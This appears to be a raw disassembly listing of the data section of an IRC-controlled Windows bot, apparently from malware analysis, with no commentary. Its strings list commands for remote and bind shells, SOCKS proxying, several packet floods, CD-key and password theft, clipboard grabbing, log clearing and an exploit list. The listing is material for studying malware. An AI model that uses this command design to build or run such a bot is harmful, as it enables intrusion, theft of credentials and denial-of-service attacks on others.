dword_42BACC dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAE4 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BB00 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BB1C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB38 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BB74 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB98 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BBB8 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBD8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42BC10 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC38 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42BC64 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC80 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42BCC4 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCE8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42BD14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42BD40 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42BD64 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42BDA0 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDDC db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE18 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE54 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42BEC4 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42BEE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BF1C db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF58 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 10h aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFD8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C018 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C054 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 10h aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 10h aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o dword_42C0C8 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C170 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C1A4 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1D8 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1EC dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1F0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1FC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437C38o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C2BC db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2E4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00437C50o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 10h aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437C28o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C3A8 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C3C8 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3EC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C43C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C484 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C4B8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C4C8 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4D8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4E8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4F8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C504 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C510 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C51C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C534 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C540 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C558 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C568 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C584 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C594 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 10h dword_42C5B0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C5BC dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5D0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5DC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5E8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5F4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C604 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C624 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C630 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C644 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 10h dword_42C660 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C67C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C6A4 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C54o unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 10h asc_42C750: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 10h aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C794 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C7C8 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42C830 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C858 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C89C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8D8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8F0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8F8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C914 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C920 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C924 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42C960 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C968 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42C9A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 10h asc_42CA60: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA64: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA68 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 